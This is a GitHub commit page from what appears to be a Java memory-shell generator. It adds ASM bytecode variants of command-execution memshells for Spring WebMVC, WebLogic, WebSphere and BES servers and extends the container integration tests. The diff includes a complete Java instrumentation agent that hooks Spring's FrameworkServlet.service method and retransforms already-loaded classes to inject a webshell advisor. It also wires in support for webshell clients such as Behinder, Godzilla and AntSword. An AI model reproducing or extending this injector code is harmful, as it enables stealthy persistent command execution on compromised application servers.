Skip to content

Commit 3b74bae

Browse files
committed
feat: support other server command agent with asm (#51)
1 parent 1f232d1 commit 3b74bae

28 files changed

+615
-57
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

+6-4
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,6 @@
4040
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
4141
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
4242
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
43-
import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
4443
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
4544
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
4645
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
@@ -68,7 +67,7 @@ public enum Server {
6867
*/
6968
Jetty(new JettyShell()),
7069
/**
71-
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
70+
* JBoss AS 中间件JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
7271
*/
7372
JBossAS(new JbossShell()),
7473
JBossEAP6(new JbossShell()),
@@ -101,7 +100,7 @@ public enum Server {
101100
WebLogic(new WebLogicShell()),
102101

103102
/**
104-
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
103+
* Resin 中间件<a href="https://caucho.com/products/resin/download">Resin</a>
105104
*/
106105
Resin(new ResinShell()),
107106

@@ -223,7 +222,8 @@ public enum Server {
223222
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
224223
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
225224
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
226-
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
225+
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
226+
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
227227
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
228228
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
229229
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
@@ -237,7 +237,9 @@ public enum Server {
237237
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
238238
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
239239
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
240+
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
240241
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
242+
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
241243
.build());
242244

243245
addToolMapping(ShellTool.Suo5, ToolMapping.builder()

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

+3
Original file line numberDiff line numberDiff line change
@@ -30,13 +30,16 @@ public class ShellType {
3030
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
3131
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
3232
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
33+
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
3334
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
35+
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
3436

3537
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
3638
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
3739
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
3840
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
3941
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
42+
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
4043

4144
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
4245
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";

generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java

+2-1
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,8 @@ public InjectorMapping getShellInjectorMapping() {
2222
.addInjector(LISTENER, BesListenerInjector.class)
2323
.addInjector(VALVE, BesValveInjector.class)
2424
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
25-
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
25+
.addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
26+
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class)
2627
.build();
2728
}
2829
}

generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java

+2
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
44
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
5+
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector;
56
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
67

78
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -20,6 +21,7 @@ public InjectorMapping getShellInjectorMapping() {
2021
.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
2122
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
2223
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
24+
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class)
2325
.build();
2426
}
2527
}

generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java

+2-4
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,6 @@
11
package com.reajason.javaweb.memshell.server;
22

3-
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
4-
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
5-
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
6-
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
3+
import com.reajason.javaweb.memshell.injector.weblogic.*;
74

85
import static com.reajason.javaweb.memshell.ShellType.*;
96

@@ -25,6 +22,7 @@ public InjectorMapping getShellInjectorMapping() {
2522
.addInjector(FILTER, WebLogicFilterInjector.class)
2623
.addInjector(LISTENER, WebLogicListenerInjector.class)
2724
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
25+
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
2826
.build();
2927
}
3028
}

generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java

+2-4
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,6 @@
11
package com.reajason.javaweb.memshell.server;
22

3-
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterChainAgentInjector;
4-
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterInjector;
5-
import com.reajason.javaweb.memshell.injector.websphere.WebSphereListenerInjector;
6-
import com.reajason.javaweb.memshell.injector.websphere.WebSphereServletInjector;
3+
import com.reajason.javaweb.memshell.injector.websphere.*;
74
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
85
import net.bytebuddy.asm.Advice;
96
import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -36,6 +33,7 @@ public InjectorMapping getShellInjectorMapping() {
3633
.addInjector(FILTER, WebSphereFilterInjector.class)
3734
.addInjector(LISTENER, WebSphereListenerInjector.class)
3835
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
36+
.addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
3937
.build();
4038
}
4139
}

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot1ContainerTest.java

+6-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,12 @@ public class SpringBoot1ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.SpringWebMvc;
54-
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SPRING_WEBMVC_INTERCEPTOR,
56+
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
57+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
58+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
59+
);
5560
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
5661
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5762
}

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java

+6-1
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,12 @@ public class SpringBoot2ContainerTest {
5353

5454
static Stream<Arguments> casesProvider() {
5555
Server server = Server.SpringWebMvc;
56-
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
56+
List<String> supportedShellTypes = List.of(
57+
ShellType.SPRING_WEBMVC_INTERCEPTOR,
58+
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
59+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
60+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
61+
);
5762
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
5863
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5964
}

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java

+4-2
Original file line numberDiff line numberDiff line change
@@ -49,8 +49,10 @@ public class SpringBoot2WarContainerTest {
4949

5050
static Stream<Arguments> casesProvider() {
5151
Server server = Server.SpringWebMvc;
52-
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR,
53-
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER);
52+
List<String> supportedShellTypes = List.of(
53+
ShellType.SPRING_WEBMVC_INTERCEPTOR,
54+
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
55+
);
5456
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
5557
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5658
}

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java

+6-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,12 @@ public class SpringBoot3ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.SpringWebMvc;
54-
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
56+
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
57+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
58+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
59+
);
5560
List<Packers> testPackers = List.of(Packers.Base64);
5661
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
5762
}

integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,11 @@ public class WebLogic1036ContainerTest {
5050

5151
static Stream<Arguments> casesProvider() {
5252
Server server = Server.WebLogic;
53-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT);
53+
List<String> supportedShellTypes = List.of(
54+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
55+
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT,
56+
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
57+
);
5458
List<Packers> testPackers = List.of(Packers.Base64);
5559
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
5660
Triple.of(ShellType.SERVLET, ShellTool.Behinder, Packers.Base64), // java.net.SocketTimeoutException

integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class WebLogic12214ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.WebLogic;
54-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
56+
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT,
57+
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.Base64);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class WebLogic14110ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.WebLogic;
54-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
56+
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT,
57+
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.Base64);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,11 @@ public class WebSphere855ContainerTest {
5454

5555
static Stream<Arguments> casesProvider() {
5656
Server server = Server.WebSphere;
57-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER);
57+
List<String> supportedShellTypes = List.of(
58+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
59+
ShellType.WAS_AGENT_FILTER_MANAGER,
60+
ShellType.WAS_AGENT_FILTER_MANAGER_ASM
61+
);
5862
List<Packers> testPackers = List.of(Packers.JSP);
5963
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
6064
}

integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,11 @@ public class WebSphere905ContainerTest {
5454

5555
static Stream<Arguments> casesProvider() {
5656
Server server = Server.WebSphere;
57-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER);
57+
List<String> supportedShellTypes = List.of(
58+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
59+
ShellType.WAS_AGENT_FILTER_MANAGER,
60+
ShellType.WAS_AGENT_FILTER_MANAGER_ASM
61+
);
5862
List<Packers> testPackers = List.of(Packers.JSP);
5963
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
6064
}

integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,11 @@ public class WebSphere700ContainerTest {
5454

5555
static Stream<Arguments> casesProvider() {
5656
Server server = Server.WebSphere;
57-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER);
57+
List<String> supportedShellTypes = List.of(
58+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
59+
ShellType.WAS_AGENT_FILTER_MANAGER,
60+
ShellType.WAS_AGENT_FILTER_MANAGER_ASM
61+
);
5862
List<Packers> testPackers = List.of(Packers.JSP);
5963
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
6064
}

memshell-java8/build.gradle

+1
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ java {
1212
dependencies {
1313
implementation project(":memshell")
1414
implementation 'net.bytebuddy:byte-buddy'
15+
implementation 'org.ow2.asm:asm-commons'
1516

1617
implementation 'org.springframework:spring-webmvc'
1718
implementation 'org.springframework:spring-webflux'
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
package com.reajason.javaweb.memshell.springwebmvc.injector;
2+
3+
import org.objectweb.asm.*;
4+
5+
import java.lang.instrument.ClassFileTransformer;
6+
import java.lang.instrument.Instrumentation;
7+
import java.lang.reflect.Constructor;
8+
import java.security.ProtectionDomain;
9+
10+
/**
11+
* @author ReaJason
12+
* @since 2025/3/26
13+
*/
14+
public class SpringWebMvcFrameworkServletAgentWithAsmInjector implements ClassFileTransformer {
15+
private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet";
16+
private static final String TARGET_METHOD_NAME = "service";
17+
18+
static Constructor<?> constructor = null;
19+
20+
static {
21+
try {
22+
Class<?> clazz = Class.forName(getClassName());
23+
constructor = clazz.getConstructors()[0];
24+
constructor.setAccessible(true);
25+
} catch (Exception e) {
26+
e.printStackTrace();
27+
}
28+
}
29+
30+
public SpringWebMvcFrameworkServletAgentWithAsmInjector() {
31+
}
32+
33+
@Override
34+
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
35+
ProtectionDomain protectionDomain, byte[] bytes) {
36+
if (TARGET_CLASS.equals(className)) {
37+
try {
38+
ClassReader cr = new ClassReader(bytes);
39+
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
40+
@Override
41+
protected ClassLoader getClassLoader() {
42+
return loader;
43+
}
44+
};
45+
ClassVisitor cv = getClassVisitor(cw);
46+
cr.accept(cv, ClassReader.EXPAND_FRAMES);
47+
return cw.toByteArray();
48+
} catch (Exception e) {
49+
e.printStackTrace();
50+
}
51+
}
52+
return bytes;
53+
}
54+
55+
public static String getClassName() {
56+
return "{{advisorName}}";
57+
}
58+
59+
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
60+
return new ClassVisitor(Opcodes.ASM9, cv) {
61+
@Override
62+
public MethodVisitor visitMethod(int access, String name, String descriptor,
63+
String signature, String[] exceptions) {
64+
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
65+
if (TARGET_METHOD_NAME.equals(name)) {
66+
try {
67+
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
68+
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
69+
} catch (Exception e) {
70+
e.printStackTrace();
71+
}
72+
}
73+
return mv;
74+
}
75+
};
76+
}
77+
78+
public static void premain(String args, Instrumentation inst) throws Exception {
79+
launch(inst);
80+
}
81+
82+
public static void agentmain(String args, Instrumentation inst) throws Exception {
83+
launch(inst);
84+
}
85+
86+
private static void launch(Instrumentation inst) throws Exception {
87+
System.out.println("MemShell Agent is starting");
88+
inst.addTransformer(new SpringWebMvcFrameworkServletAgentWithAsmInjector(), true);
89+
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
90+
String name = allLoadedClass.getName();
91+
if (TARGET_CLASS.replace("/", ".").equals(name)) {
92+
inst.retransformClasses(allLoadedClass);
93+
}
94+
}
95+
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
96+
}
97+
}

0 commit comments

Comments
 (0)